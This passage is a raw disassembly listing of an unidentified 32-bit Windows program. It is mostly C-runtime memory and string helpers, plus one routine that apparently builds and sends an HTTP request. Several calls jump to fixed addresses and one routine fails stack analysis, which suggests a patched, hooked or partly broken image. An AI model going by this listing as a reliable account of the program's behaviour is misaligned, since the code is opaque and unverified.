		pop	ebx
		leave
		retn
sub_41AA43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF7	proc near		; CODE XREF: sub_401ACD+279Dp
					; sub_401ACD+72F6p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB73C, 0
		jnz	short loc_41AD63
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB518
		test	eax, eax
		jnz	short loc_41AD4C
		lea	eax, [ebp+var_8C]
		push	offset dword_43A87C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4C:				; CODE XREF: sub_41ACF7+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD59
		push	offset dword_43A874
		jmp	short loc_41AD5E
; ---------------------------------------------------------------------------


loc_41AD59:				; CODE XREF: sub_41ACF7+59j
		push	offset off_43A870


loc_41AD5E:				; CODE XREF: sub_41ACF7+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7B
; ---------------------------------------------------------------------------


loc_41AD63:				; CODE XREF: sub_41ACF7+28j
		mov	esi, offset off_43A86C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7B:				; CODE XREF: sub_41ACF7+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A828
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB6	proc near		; DATA XREF: sub_401ACD+7715o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A95C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB550
		test	eax, eax
		jz	loc_41AF50
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8D
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8D:				; CODE XREF: sub_41ADB6+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAB
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAB:				; CODE XREF: sub_41ADB6+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC5
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC5:				; CODE XREF: sub_41ADB6+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDF
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDF:				; CODE XREF: sub_41ADB6+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB628
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF68
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB61C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB5C8
		test	eax, eax
		jz	short loc_41AF49
		push	offset dword_43A940
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF49:				; CODE XREF: sub_41ADB6+18Aj
		push	offset unk_43A904
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: sub_41ADB6+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A8E8
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF82
; ---------------------------------------------------------------------------


loc_41AF68:				; CODE XREF: sub_41ADB6+153j
		push	offset unk_43A8BC
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF6F:				; CODE XREF: sub_41ADB6+17Bj
		push	offset unk_43A88C


loc_41AF74:				; CODE XREF: sub_41ADB6+191j
					; sub_41ADB6+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF82:				; CODE XREF: sub_41ADB6+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAD
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A73
		add	esp, 14h


loc_41AFAD:				; CODE XREF: sub_41ADB6+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	esi
		call	dword_4CB688
		push	[ebp+var_4]
		call	dword_4CB688
		push	[ebp+var_1D8]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
sub_41ADB6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DBp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB32+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFE4
		call	near ptr 27B0000h
		nop


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F08Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFE0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFE4
		call	near ptr 27C0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2860000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9D4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		call	near ptr 2860000h
		nop
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9DC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB32+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB9DC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFE8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFE0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9D4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFE4
		call	near ptr 27C0000h
		nop


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
